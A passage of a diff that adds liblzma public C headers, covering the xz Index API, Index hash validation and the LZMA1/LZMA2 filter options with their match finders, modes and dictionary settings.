* were in a single Stream. This is useful if you are going to combine
|
||||||
|
* Blocks from multiple Streams into a single new Stream.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_stream_size(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the total size of the Blocks
|
||||||
|
*
|
||||||
|
* This doesn't include the Stream Header, Stream Footer, Stream Padding,
|
||||||
|
* or Index fields.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_total_size(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the total size of the file
|
||||||
|
*
|
||||||
|
* When no lzma_indexes have been combined with lzma_index_cat() and there is
|
||||||
|
* no Stream Padding, this function is identical to lzma_index_stream_size().
|
||||||
|
* If multiple lzma_indexes have been combined, this includes also the headers
|
||||||
|
* of each separate Stream and the possible Stream Padding fields.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_file_size(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the uncompressed size of the file
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_uncompressed_size(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize an iterator
|
||||||
|
*
|
||||||
|
* \param iter Pointer to a lzma_index_iter structure
|
||||||
|
* \param i lzma_index to which the iterator will be associated
|
||||||
|
*
|
||||||
|
* This function associates the iterator with the given lzma_index, and calls
|
||||||
|
* lzma_index_iter_rewind() on the iterator.
|
||||||
|
*
|
||||||
|
* This function doesn't allocate any memory, thus there is no
|
||||||
|
* lzma_index_iter_end(). The iterator is valid as long as the
|
||||||
|
* associated lzma_index is valid, that is, until lzma_index_end() or
|
||||||
|
* using it as source in lzma_index_cat(). Specifically, lzma_index doesn't
|
||||||
|
* become invalid if new Blocks are added to it with lzma_index_append() or
|
||||||
|
* if it is used as the destination in lzma_index_cat().
|
||||||
|
*
|
||||||
|
* It is safe to make copies of an initialized lzma_index_iter, for example,
|
||||||
|
* to easily restart reading at some particular position.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(void) lzma_index_iter_init(
|
||||||
|
lzma_index_iter *iter, const lzma_index *i) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Rewind the iterator
|
||||||
|
*
|
||||||
|
* Rewind the iterator so that next call to lzma_index_iter_next() will
|
||||||
|
* return the first Block or Stream.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(void) lzma_index_iter_rewind(lzma_index_iter *iter)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the next Block or Stream
|
||||||
|
*
|
||||||
|
* \param iter Iterator initialized with lzma_index_iter_init()
|
||||||
|
* \param mode Specify what kind of information the caller wants
|
||||||
|
* to get. See lzma_index_iter_mode for details.
|
||||||
|
*
|
||||||
|
* \return If next Block or Stream matching the mode was found, *iter
|
||||||
|
* is updated and this function returns false. If no Block or
|
||||||
|
* Stream matching the mode is found, *iter is not modified
|
||||||
|
* and this function returns true. If mode is set to an unknown
|
||||||
|
* value, *iter is not modified and this function returns true.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_index_iter_next(
|
||||||
|
lzma_index_iter *iter, lzma_index_iter_mode mode)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Locate a Block
|
||||||
|
*
|
||||||
|
* If it is possible to seek in the .xz file, it is possible to parse
|
||||||
|
* the Index field(s) and use lzma_index_iter_locate() to do random-access
|
||||||
|
* reading with granularity of Block size.
|
||||||
|
*
|
||||||
|
* \param iter Iterator that was earlier initialized with
|
||||||
|
* lzma_index_iter_init().
|
||||||
|
* \param target Uncompressed target offset which the caller would
|
||||||
|
* like to locate from the Stream
|
||||||
|
*
|
||||||
|
* If the target is smaller than the uncompressed size of the Stream (can be
|
||||||
|
* checked with lzma_index_uncompressed_size()):
|
||||||
|
* - Information about the Stream and Block containing the requested
|
||||||
|
* uncompressed offset is stored into *iter.
|
||||||
|
* - Internal state of the iterator is adjusted so that
|
||||||
|
* lzma_index_iter_next() can be used to read subsequent Blocks or Streams.
|
||||||
|
* - This function returns false.
|
||||||
|
*
|
||||||
|
* If target is greater than the uncompressed size of the Stream, *iter
|
||||||
|
* is not modified, and this function returns true.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_index_iter_locate(
|
||||||
|
lzma_index_iter *iter, lzma_vli target) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Concatenate lzma_indexes
|
||||||
|
*
|
||||||
|
* Concatenating lzma_indexes is useful when doing random-access reading in
|
||||||
|
* multi-Stream .xz file, or when combining multiple Streams into single
|
||||||
|
* Stream.
|
||||||
|
*
|
||||||
|
* \param dest lzma_index after which src is appended
|
||||||
|
* \param src lzma_index to be appended after dest. If this
|
||||||
|
* function succeeds, the memory allocated for src
|
||||||
|
* is freed or moved to be part of dest, and all
|
||||||
|
* iterators pointing to src will become invalid.
|
||||||
|
* \param allocator Custom memory allocator; can be NULL to use
|
||||||
|
* malloc() and free().
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: lzma_indexes were concatenated successfully.
|
||||||
|
* src is now a dangling pointer.
|
||||||
|
* - LZMA_DATA_ERROR: *dest would grow too big.
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_cat(lzma_index *dest, lzma_index *src,
|
||||||
|
const lzma_allocator *allocator)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Duplicate lzma_index
|
||||||
|
*
|
||||||
|
* \return A copy of the lzma_index, or NULL if memory allocation failed.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_index *) lzma_index_dup(
|
||||||
|
const lzma_index *i, const lzma_allocator *allocator)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Index encoder
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param i Pointer to lzma_index which should be encoded.
|
||||||
|
*
|
||||||
|
* The valid `action' values for lzma_code() are LZMA_RUN and LZMA_FINISH.
|
||||||
|
* It is enough to use only one of them (you can choose freely).
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Initialization succeeded, continue with lzma_code().
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_encoder(
|
||||||
|
lzma_stream *strm, const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Index decoder
|
||||||
|
*
|
||||||
|
* \param strm Pointer to properly prepared lzma_stream
|
||||||
|
* \param i The decoded Index will be made available via
|
||||||
|
* this pointer. Initially this function will
|
||||||
|
* set *i to NULL (the old value is ignored). If
|
||||||
|
* decoding succeeds (lzma_code() returns
|
||||||
|
* LZMA_STREAM_END), *i will be set to point
|
||||||
|
* to a new lzma_index, which the application
|
||||||
|
* has to later free with lzma_index_end().
|
||||||
|
* \param memlimit How much memory the resulting lzma_index is
|
||||||
|
* allowed to require. liblzma 5.2.3 and earlier
|
||||||
|
* don't allow 0 here and return LZMA_PROG_ERROR;
|
||||||
|
* later versions treat 0 as if 1 had been specified.
|
||||||
|
*
|
||||||
|
* Valid `action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH.
|
||||||
|
* There is no need to use LZMA_FINISH, but it's allowed because it may
|
||||||
|
* simplify certain types of applications.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Initialization succeeded, continue with lzma_code().
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*
|
||||||
|
* liblzma 5.2.3 and older list also LZMA_MEMLIMIT_ERROR here
|
||||||
|
* but that error code has never been possible from this
|
||||||
|
* initialization function.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_decoder(
|
||||||
|
lzma_stream *strm, lzma_index **i, uint64_t memlimit)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Index encoder
|
||||||
|
*
|
||||||
|
* \param i lzma_index to be encoded
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_BUF_ERROR: Output buffer is too small. Use
|
||||||
|
* lzma_index_size() to find out how much output
|
||||||
|
* space is needed.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*
|
||||||
|
* \note This function doesn't take allocator argument since all
|
||||||
|
* the internal data is allocated on stack.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_buffer_encode(const lzma_index *i,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Index decoder
|
||||||
|
*
|
||||||
|
* \param i If decoding succeeds, *i will point to a new
|
||||||
|
* lzma_index, which the application has to
|
||||||
|
* later free with lzma_index_end(). If an error
|
||||||
|
* occurs, *i will be NULL. The old value of *i
|
||||||
|
* is always ignored and thus doesn't need to be
|
||||||
|
* initialized by the caller.
|
||||||
|
* \param memlimit Pointer to how much memory the resulting
|
||||||
|
* lzma_index is allowed to require. The value
|
||||||
|
* pointed by this pointer is modified if and only
|
||||||
|
* if LZMA_MEMLIMIT_ERROR is returned.
|
||||||
|
* \param allocator Pointer to lzma_allocator, or NULL to use malloc()
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_pos The next byte will be read from in[*in_pos].
|
||||||
|
* *in_pos is updated only if decoding succeeds.
|
||||||
|
* \param in_size Size of the input buffer; the first byte that
|
||||||
|
* won't be read is in[in_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Decoding was successful.
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_MEMLIMIT_ERROR: Memory usage limit was reached.
|
||||||
|
* The minimum required memlimit value was stored to *memlimit.
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_buffer_decode(lzma_index **i,
|
||||||
|
uint64_t *memlimit, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size)
|
||||||
|
lzma_nothrow;
|
||||||
107
src/include/lzma/index_hash.h
Normal file
107
src/include/lzma/index_hash.h
Normal file
@ -0,0 +1,107 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/index_hash.h
|
||||||
|
* \brief Validate Index by using a hash function
|
||||||
|
*
|
||||||
|
* Hashing makes it possible to use constant amount of memory to validate
|
||||||
|
* Index of arbitrary size.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Opaque data type to hold the Index hash
|
||||||
|
*/
|
||||||
|
typedef struct lzma_index_hash_s lzma_index_hash;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Allocate and initialize a new lzma_index_hash structure
|
||||||
|
*
|
||||||
|
* If index_hash is NULL, a new lzma_index_hash structure is allocated,
|
||||||
|
* initialized, and a pointer to it returned. If allocation fails, NULL
|
||||||
|
* is returned.
|
||||||
|
*
|
||||||
|
* If index_hash is non-NULL, it is reinitialized and the same pointer
|
||||||
|
* returned. In this case, return value cannot be NULL or a different
|
||||||
|
* pointer than the index_hash that was given as an argument.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_index_hash *) lzma_index_hash_init(
|
||||||
|
lzma_index_hash *index_hash, const lzma_allocator *allocator)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Deallocate lzma_index_hash structure
|
||||||
|
*/
|
||||||
|
extern LZMA_API(void) lzma_index_hash_end(
|
||||||
|
lzma_index_hash *index_hash, const lzma_allocator *allocator)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Add a new Record to an Index hash
|
||||||
|
*
|
||||||
|
* \param index Pointer to a lzma_index_hash structure
|
||||||
|
* \param unpadded_size Unpadded Size of a Block
|
||||||
|
* \param uncompressed_size Uncompressed Size of a Block
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_DATA_ERROR: Compressed or uncompressed size of the
|
||||||
|
* Stream or size of the Index field would grow too big.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid arguments or this function is being
|
||||||
|
* used when lzma_index_hash_decode() has already been used.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_hash_append(lzma_index_hash *index_hash,
|
||||||
|
lzma_vli unpadded_size, lzma_vli uncompressed_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode and validate the Index field
|
||||||
|
*
|
||||||
|
* After telling the sizes of all Blocks with lzma_index_hash_append(),
|
||||||
|
* the actual Index field is decoded with this function. Specifically,
|
||||||
|
* once decoding of the Index field has been started, no more Records
|
||||||
|
* can be added using lzma_index_hash_append().
|
||||||
|
*
|
||||||
|
* This function doesn't use lzma_stream structure to pass the input data.
|
||||||
|
* Instead, the input buffer is specified using three arguments. This is
|
||||||
|
* because it matches better the internal APIs of liblzma.
|
||||||
|
*
|
||||||
|
* \param index_hash Pointer to a lzma_index_hash structure
|
||||||
|
* \param in Pointer to the beginning of the input buffer
|
||||||
|
* \param in_pos in[*in_pos] is the next byte to process
|
||||||
|
* \param in_size in[in_size] is the first byte not to process
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: So far good, but more input is needed.
|
||||||
|
* - LZMA_STREAM_END: Index decoded successfully and it matches
|
||||||
|
* the Records given with lzma_index_hash_append().
|
||||||
|
* - LZMA_DATA_ERROR: Index is corrupt or doesn't match the
|
||||||
|
* information given with lzma_index_hash_append().
|
||||||
|
* - LZMA_BUF_ERROR: Cannot progress because *in_pos >= in_size.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_hash_decode(lzma_index_hash *index_hash,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the size of the Index field as bytes
|
||||||
|
*
|
||||||
|
* This is needed to verify the Backward Size field in the Stream Footer.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_hash_size(
|
||||||
|
const lzma_index_hash *index_hash)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
420
src/include/lzma/lzma12.h
Normal file
420
src/include/lzma/lzma12.h
Normal file
@ -0,0 +1,420 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/lzma12.h
|
||||||
|
* \brief LZMA1 and LZMA2 filters
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief LZMA1 Filter ID
|
||||||
|
*
|
||||||
|
* LZMA1 is the very same thing as what was called just LZMA in LZMA Utils,
|
||||||
|
* 7-Zip, and LZMA SDK. It's called LZMA1 here to prevent developers from
|
||||||
|
* accidentally using LZMA when they actually want LZMA2.
|
||||||
|
*
|
||||||
|
* LZMA1 shouldn't be used for new applications unless you _really_ know
|
||||||
|
* what you are doing. LZMA2 is almost always a better choice.
|
||||||
|
*/
|
||||||
|
#define LZMA_FILTER_LZMA1 LZMA_VLI_C(0x4000000000000001)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief LZMA2 Filter ID
|
||||||
|
*
|
||||||
|
* Usually you want this instead of LZMA1. Compared to LZMA1, LZMA2 adds
|
||||||
|
* support for LZMA_SYNC_FLUSH, uncompressed chunks (smaller expansion
|
||||||
|
* when trying to compress uncompressible data), possibility to change
|
||||||
|
* lc/lp/pb in the middle of encoding, and some other internal improvements.
|
||||||
|
*/
|
||||||
|
#define LZMA_FILTER_LZMA2 LZMA_VLI_C(0x21)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Match finders
|
||||||
|
*
|
||||||
|
* Match finder has major effect on both speed and compression ratio.
|
||||||
|
* Usually hash chains are faster than binary trees.
|
||||||
|
*
|
||||||
|
* If you will use LZMA_SYNC_FLUSH often, the hash chains may be a better
|
||||||
|
* choice, because binary trees get much higher compression ratio penalty
|
||||||
|
* with LZMA_SYNC_FLUSH.
|
||||||
|
*
|
||||||
|
* The memory usage formulas are only rough estimates, which are closest to
|
||||||
|
* reality when dict_size is a power of two. The formulas are more complex
|
||||||
|
* in reality, and can also change a little between liblzma versions. Use
|
||||||
|
* lzma_raw_encoder_memusage() to get more accurate estimate of memory usage.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_MF_HC3 = 0x03,
|
||||||
|
/**<
|
||||||
|
* \brief Hash Chain with 2- and 3-byte hashing
|
||||||
|
*
|
||||||
|
* Minimum nice_len: 3
|
||||||
|
*
|
||||||
|
* Memory usage:
|
||||||
|
* - dict_size <= 16 MiB: dict_size * 7.5
|
||||||
|
* - dict_size > 16 MiB: dict_size * 5.5 + 64 MiB
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MF_HC4 = 0x04,
|
||||||
|
/**<
|
||||||
|
* \brief Hash Chain with 2-, 3-, and 4-byte hashing
|
||||||
|
*
|
||||||
|
* Minimum nice_len: 4
|
||||||
|
*
|
||||||
|
* Memory usage:
|
||||||
|
* - dict_size <= 32 MiB: dict_size * 7.5
|
||||||
|
* - dict_size > 32 MiB: dict_size * 6.5
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MF_BT2 = 0x12,
|
||||||
|
/**<
|
||||||
|
* \brief Binary Tree with 2-byte hashing
|
||||||
|
*
|
||||||
|
* Minimum nice_len: 2
|
||||||
|
*
|
||||||
|
* Memory usage: dict_size * 9.5
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MF_BT3 = 0x13,
|
||||||
|
/**<
|
||||||
|
* \brief Binary Tree with 2- and 3-byte hashing
|
||||||
|
*
|
||||||
|
* Minimum nice_len: 3
|
||||||
|
*
|
||||||
|
* Memory usage:
|
||||||
|
* - dict_size <= 16 MiB: dict_size * 11.5
|
||||||
|
* - dict_size > 16 MiB: dict_size * 9.5 + 64 MiB
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MF_BT4 = 0x14
|
||||||
|
/**<
|
||||||
|
* \brief Binary Tree with 2-, 3-, and 4-byte hashing
|
||||||
|
*
|
||||||
|
* Minimum nice_len: 4
|
||||||
|
*
|
||||||
|
* Memory usage:
|
||||||
|
* - dict_size <= 32 MiB: dict_size * 11.5
|
||||||
|
* - dict_size > 32 MiB: dict_size * 10.5
|
||||||
|
*/
|
||||||
|
} lzma_match_finder;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Test if given match finder is supported
|
||||||
|
*
|
||||||
|
* Return true if the given match finder is supported by this liblzma build.
|
||||||
|
* Otherwise false is returned. It is safe to call this with a value that
|
||||||
|
* isn't listed in lzma_match_finder enumeration; the return value will be
|
||||||
|
* false.
|
||||||
|
*
|
||||||
|
* There is no way to list which match finders are available in this
|
||||||
|
* particular liblzma version and build. It would be useless, because
|
||||||
|
* a new match finder, which the application developer wasn't aware,
|
||||||
|
* could require giving additional options to the encoder that the older
|
||||||
|
* match finders don't need.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_mf_is_supported(lzma_match_finder match_finder)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compression modes
|
||||||
|
*
|
||||||
|
* This selects the function used to analyze the data produced by the match
|
||||||
|
* finder.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_MODE_FAST = 1,
|
||||||
|
/**<
|
||||||
|
* \brief Fast compression
|
||||||
|
*
|
||||||
|
* Fast mode is usually at its best when combined with
|
||||||
|
* a hash chain match finder.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_MODE_NORMAL = 2
|
||||||
|
/**<
|
||||||
|
* \brief Normal compression
|
||||||
|
*
|
||||||
|
* This is usually notably slower than fast mode. Use this
|
||||||
|
* together with binary tree match finders to expose the
|
||||||
|
* full potential of the LZMA1 or LZMA2 encoder.
|
||||||
|
*/
|
||||||
|
} lzma_mode;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Test if given compression mode is supported
|
||||||
|
*
|
||||||
|
* Return true if the given compression mode is supported by this liblzma
|
||||||
|
* build. Otherwise false is returned. It is safe to call this with a value
|
||||||
|
* that isn't listed in lzma_mode enumeration; the return value will be false.
|
||||||
|
*
|
||||||
|
* There is no way to list which modes are available in this particular
|
||||||
|
* liblzma version and build. It would be useless, because a new compression
|
||||||
|
* mode, which the application developer wasn't aware, could require giving
|
||||||
|
* additional options to the encoder that the older modes don't need.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_mode_is_supported(lzma_mode mode)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Options specific to the LZMA1 and LZMA2 filters
|
||||||
|
*
|
||||||
|
* Since LZMA1 and LZMA2 share most of the code, it's simplest to share
|
||||||
|
* the options structure too. For encoding, all but the reserved variables
|
||||||
|
* need to be initialized unless specifically mentioned otherwise.
|
||||||
|
* lzma_lzma_preset() can be used to get a good starting point.
|
||||||
|
*
|
||||||
|
* For raw decoding, both LZMA1 and LZMA2 need dict_size, preset_dict, and
|
||||||
|
* preset_dict_size (if preset_dict != NULL). LZMA1 needs also lc, lp, and pb.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Dictionary size in bytes
|
||||||
|
*
|
||||||
|
* Dictionary size indicates how many bytes of the recently processed
|
||||||
|
* uncompressed data is kept in memory. One method to reduce size of
|
||||||
|
* the uncompressed data is to store distance-length pairs, which
|
||||||
|
* indicate what data to repeat from the dictionary buffer. Thus,
|
||||||
|
* the bigger the dictionary, the better the compression ratio
|
||||||
|
* usually is.
|
||||||
|
*
|
||||||
|
* Maximum size of the dictionary depends on multiple things:
|
||||||
|
* - Memory usage limit
|
||||||
|
* - Available address space (not a problem on 64-bit systems)
|
||||||
|
* - Selected match finder (encoder only)
|
||||||
|
*
|
||||||
|
* Currently the maximum dictionary size for encoding is 1.5 GiB
|
||||||
|
* (i.e. (UINT32_C(1) << 30) + (UINT32_C(1) << 29)) even on 64-bit
|
||||||
|
* systems for certain match finder implementation reasons. In the
|
||||||
|
* future, there may be match finders that support bigger
|
||||||
|
* dictionaries.
|
||||||
|
*
|
||||||
|
* Decoder already supports dictionaries up to 4 GiB - 1 B (i.e.
|
||||||
|
* UINT32_MAX), so increasing the maximum dictionary size of the
|
||||||
|
* encoder won't cause problems for old decoders.
|
||||||
|
*
|
||||||
|
* Because extremely small dictionaries sizes would have unneeded
|
||||||
|
* overhead in the decoder, the minimum dictionary size is 4096 bytes.
|
||||||
|
*
|
||||||
|
* \note When decoding, too big dictionary does no other harm
|
||||||
|
* than wasting memory.
|
||||||
|
*/
|
||||||
|
uint32_t dict_size;
|
||||||
|
# define LZMA_DICT_SIZE_MIN UINT32_C(4096)
|
||||||
|
# define LZMA_DICT_SIZE_DEFAULT (UINT32_C(1) << 23)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Pointer to an initial dictionary
|
||||||
|
*
|
||||||
|
* It is possible to initialize the LZ77 history window using
|
||||||
|
* a preset dictionary. It is useful when compressing many
|
||||||
|
* similar, relatively small chunks of data independently from
|
||||||
|
* each other. The preset dictionary should contain typical
|
||||||
|
* strings that occur in the files being compressed. The most
|
||||||
|
* probable strings should be near the end of the preset dictionary.
|
||||||
|
*
|
||||||
|
* This feature should be used only in special situations. For
|
||||||
|
* now, it works correctly only with raw encoding and decoding.
|
||||||
|
* Currently none of the container formats supported by
|
||||||
|
* liblzma allow preset dictionary when decoding, thus if
|
||||||
|
* you create a .xz or .lzma file with preset dictionary, it
|
||||||
|
* cannot be decoded with the regular decoder functions. In the
|
||||||
|
* future, the .xz format will likely get support for preset
|
||||||
|
* dictionary though.
|
||||||
|
*/
|
||||||
|
const uint8_t *preset_dict;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Size of the preset dictionary
|
||||||
|
*
|
||||||
|
* Specifies the size of the preset dictionary. If the size is
|
||||||
|
* bigger than dict_size, only the last dict_size bytes are
|
||||||
|
* processed.
|
||||||
|
*
|
||||||
|
* This variable is read only when preset_dict is not NULL.
|
||||||
|
* If preset_dict is not NULL but preset_dict_size is zero,
|
||||||
|
* no preset dictionary is used (identical to only setting
|
||||||
|
* preset_dict to NULL).
|
||||||
|
*/
|
||||||
|
uint32_t preset_dict_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Number of literal context bits
|
||||||
|
*
|
||||||
|
* How many of the highest bits of the previous uncompressed
|
||||||
|
* eight-bit byte (also known as `literal') are taken into
|
||||||
|
* account when predicting the bits of the next literal.
|
||||||
|
*
|
||||||
|
* E.g. in typical English text, an upper-case letter is
|
||||||
|
* often followed by a lower-case letter, and a lower-case
|
||||||
|
* letter is usually followed by another lower-case letter.
|
||||||
|
* In the US-ASCII character set, the highest three bits are 010
|
||||||
|
* for upper-case letters and 011 for lower-case letters.
|
||||||
|
* When lc is at least 3, the literal coding can take advantage of
|
||||||
|
* this property in the uncompressed data.
|
||||||
|
*
|
||||||
|
* There is a limit that applies to literal context bits and literal
|
||||||
|
* position bits together: lc + lp <= 4. Without this limit the
|
||||||
|
* decoding could become very slow, which could have security related
|
||||||
|
* results in some cases like email servers doing virus scanning.
|
||||||
|
* This limit also simplifies the internal implementation in liblzma.
|
||||||
|
*
|
||||||
|
* There may be LZMA1 streams that have lc + lp > 4 (maximum possible
|
||||||
|
* lc would be 8). It is not possible to decode such streams with
|
||||||
|
* liblzma.
|
||||||
|
*/
|
||||||
|
uint32_t lc;
|
||||||
|
# define LZMA_LCLP_MIN 0
|
||||||
|
# define LZMA_LCLP_MAX 4
|
||||||
|
# define LZMA_LC_DEFAULT 3
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Number of literal position bits
|
||||||
|
*
|
||||||
|
* lp affects what kind of alignment in the uncompressed data is
|
||||||
|
* assumed when encoding literals. A literal is a single 8-bit byte.
|
||||||
|
* See pb below for more information about alignment.
|
||||||
|
*/
|
||||||
|
uint32_t lp;
|
||||||
|
# define LZMA_LP_DEFAULT 0
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Number of position bits
|
||||||
|
*
|
||||||
|
* pb affects what kind of alignment in the uncompressed data is
|
||||||
|
* assumed in general. The default means four-byte alignment
|
||||||
|
* (2^ pb =2^2=4), which is often a good choice when there's
|
||||||
|
* no better guess.
|
||||||
|
*
|
||||||
|
* When the alignment is known, setting pb accordingly may reduce
|
||||||
|
* the file size a little. E.g. with text files having one-byte
|
||||||
|
* alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can
|
||||||
|
* improve compression slightly. For UTF-16 text, pb=1 is a good
|
||||||
|
* choice. If the alignment is an odd number like 3 bytes, pb=0
|
||||||
|
* might be the best choice.
|
||||||
|
*
|
||||||
|
* Even though the assumed alignment can be adjusted with pb and
|
||||||
|
* lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment.
|
||||||
|
* It might be worth taking into account when designing file formats
|
||||||
|
